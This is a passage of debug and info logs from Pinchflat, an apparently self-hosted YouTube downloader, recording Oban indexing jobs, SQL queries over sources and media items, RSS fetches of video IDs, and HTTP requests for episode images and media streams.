livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 14:40:48.483 [debug] QUERY OK source="tasks" db=0.0ms idle=549.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [675, 2, ~U[2026-07-24 14:40:48Z], ~U[2026-07-24 14:40:48Z]] 14:40:48.484 [info] {"args":{"id":2},"id":672,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":551421,"event":"job:stop","queue_time":488524,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 14:40:48.484 [debug] QUERY OK source="tasks" db=0.1ms idle=1.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:40:56.937 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:41:00.624 [info] {"source":"oban","duration":127,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:41:01.946 [info] {"args":{"id":1},"id":673,"meta":{},"system_time":1784904061946045118,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 14:41:01.946 [debug] QUERY OK source="sources" db=0.0ms idle=170.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:41:01.946 [debug] QUERY OK source="tasks" db=0.3ms idle=170.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:41:01.946 [debug] QUERY OK source="settings" db=0.3ms idle=170.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:41:01.946 [debug] QUERY OK source="sources" db=0.1ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:41:01.947 [debug] QUERY OK source="media_profiles" db=0.3ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:41:01.947 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:41:01.947 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 14:41:02.127 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 14:41:02.127 [debug] QUERY OK source="media_items" db=0.3ms idle=180.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 14:41:02.130 [debug] QUERY OK source="media_items" db=2.0ms idle=181.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 14:41:02.130 [debug] QUERY OK source="tasks" db=0.0ms idle=183.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [676, 1, ~U[2026-07-24 14:41:02Z], ~U[2026-07-24 14:41:02Z]] 14:41:02.131 [info] {"args":{"id":1},"id":673,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":184848,"event":"job:stop","queue_time":578492,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 14:41:02.131 [debug] QUERY OK source="tasks" db=0.2ms idle=0.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:41:16.961 [info] {"args":{"id":3},"id":674,"meta":{},"system_time":1784904076961198283,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 14:41:16.961 [debug] QUERY OK source="sources" db=0.1ms idle=1185.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 14:41:16.961 [debug] QUERY OK source="tasks" db=0.2ms idle=1185.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:41:16.961 [debug] QUERY OK source="settings" db=0.1ms idle=1007.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:41:16.962 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:41:16.962 [debug] QUERY OK source="sources" db=0.3ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 14:41:16.962 [debug] QUERY OK source="settings" db=0.1ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:41:16.962 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 14:41:17.131 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 14:41:17.131 [debug] QUERY OK source="media_items" db=0.2ms idle=169.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 14:41:17.133 [debug] QUERY OK source="media_items" db=1.6ms idle=170.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 14:41:17.134 [debug] QUERY OK source="tasks" db=0.0ms idle=171.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [677, 3, ~U[2026-07-24 14:41:17Z], ~U[2026-07-24 14:41:17Z]] 14:41:17.134 [info] {"args":{"id":3},"id":674,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":173058,"event":"job:stop","queue_time":420961,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 14:41:17.134 [debug] QUERY OK source="tasks" db=0.2ms idle=0.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:41:26.939 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:41:56.940 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:42:00.625 [info] {"source":"oban","duration":109,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:42:26.941 [info] {"source":"oban","duration":546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:42:44.838 [info] GET /api/v1/videos 14:42:44.838 [debug] Processing with PinchflatWeb.Api.V1.VideoController.index/2 Parameters: %{} Pipelines: [:api_v1] 14:42:44.861 [debug] QUERY OK source="media_items" db=22.6ms idle=791.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 [] 14:42:44.918 [info] Sent 200 in 80ms 14:42:45.057 [info] GET /media/dcbf5f18-d2d2-4574-b52c-badc1a56df4c/episode_image.jpg 14:42:45.057 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "dcbf5f18-d2d2-4574-b52c-badc1a56df4c"} Pipelines: [:maybe_basic_auth] 14:42:45.058 [debug] QUERY OK source="media_items" db=0.1ms idle=282.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["dcbf5f18-d2d2-4574-b52c-badc1a56df4c"] 14:42:45.080 [info] Sent 200 in 22ms 14:42:49.570 [info] GET /media/d7148368-8a81-43d0-9042-4bae425b8c72/episode_image.jpg 14:42:49.571 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "d7148368-8a81-43d0-9042-4bae425b8c72"} Pipelines: [:maybe_basic_auth] 14:42:49.571 [debug] QUERY OK source="media_items" db=0.1ms idle=795.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["d7148368-8a81-43d0-9042-4bae425b8c72"] 14:42:49.571 [info] Sent 200 in 518µs 14:42:50.035 [info] GET /media/7fd74fd9-cb8c-478d-85f2-3fd6bde91084/episode_image.jpg 14:42:50.035 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "7fd74fd9-cb8c-478d-85f2-3fd6bde91084"} Pipelines: [:maybe_basic_auth] 14:42:50.036 [debug] QUERY OK source="media_items" db=0.1ms idle=1259.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["7fd74fd9-cb8c-478d-85f2-3fd6bde91084"] 14:42:50.036 [info] Sent 200 in 649µs 14:42:50.602 [info] GET /media/b839e67e-0013-48f6-8e2f-4671e743281b/episode_image.jpg 14:42:50.602 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "b839e67e-0013-48f6-8e2f-4671e743281b"} Pipelines: [:maybe_basic_auth] 14:42:50.603 [debug] QUERY OK source="media_items" db=0.2ms idle=1826.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["b839e67e-0013-48f6-8e2f-4671e743281b"] 14:42:50.603 [info] Sent 200 in 663µs 14:42:51.137 [info] GET /media/50105db7-92fb-4a77-8e04-d67f5f9480eb/episode_image.jpg 14:42:51.137 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "50105db7-92fb-4a77-8e04-d67f5f9480eb"} Pipelines: [:maybe_basic_auth] 14:42:51.137 [debug] QUERY OK source="media_items" db=0.2ms idle=1083.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["50105db7-92fb-4a77-8e04-d67f5f9480eb"] 14:42:51.137 [info] Sent 200 in 526µs 14:42:51.702 [info] GET /media/18d5fff1-0e08-4056-977a-e1b9cd0c9d5a/episode_image.jpg 14:42:51.702 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "18d5fff1-0e08-4056-977a-e1b9cd0c9d5a"} Pipelines: [:maybe_basic_auth] 14:42:51.702 [debug] QUERY OK source="media_items" db=0.1ms idle=1099.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["18d5fff1-0e08-4056-977a-e1b9cd0c9d5a"] 14:42:51.702 [info] Sent 200 in 441µs 14:42:52.073 [info] GET /media/18d5fff1-0e08-4056-977a-e1b9cd0c9d5a/stream 14:42:52.073 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "18d5fff1-0e08-4056-977a-e1b9cd0c9d5a"} Pipelines: [:maybe_basic_auth] 14:42:52.073 [debug] QUERY OK source="media_items" db=0.0ms idle=1297.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["18d5fff1-0e08-4056-977a-e1b9cd0c9d5a"] 14:42:52.073 [debug] Invalid range request for media item: 18d5fff1-0e08-4056-977a-e1b9cd0c9d5a - serving full file 14:42:52.074 [info] Sent 200 in 712µs 14:42:52.209 [info] GET /media/18d5fff1-0e08-4056-977a-e1b9cd0c9d5a/stream 14:42:52.209 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "18d5fff1-0e08-4056-977a-e1b9cd0c9d5a"} Pipelines: [:maybe_basic_auth] 14:42:52.209 [debug] QUERY OK source="media_items" db=0.1ms idle=1153.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["18d5fff1-0e08-4056-977a-e1b9cd0c9d5a"] 14:42:52.209 [debug] Streaming media item: 18d5fff1-0e08-4056-977a-e1b9cd0c9d5a from 1392 to 314477099 14:42:52.209 [info] Sent 206 in 498µs 14:42:52.269 [info] GET /media/18d5fff1-0e08-4056-977a-e1b9cd0c9d5a/stream 14:42:52.269 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "18d5fff1-0e08-4056-977a-e1b9cd0c9d5a"} Pipelines: [:maybe_basic_auth] 14:42:52.269 [debug] QUERY OK source="media_items" db=0.1ms idle=1131.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", 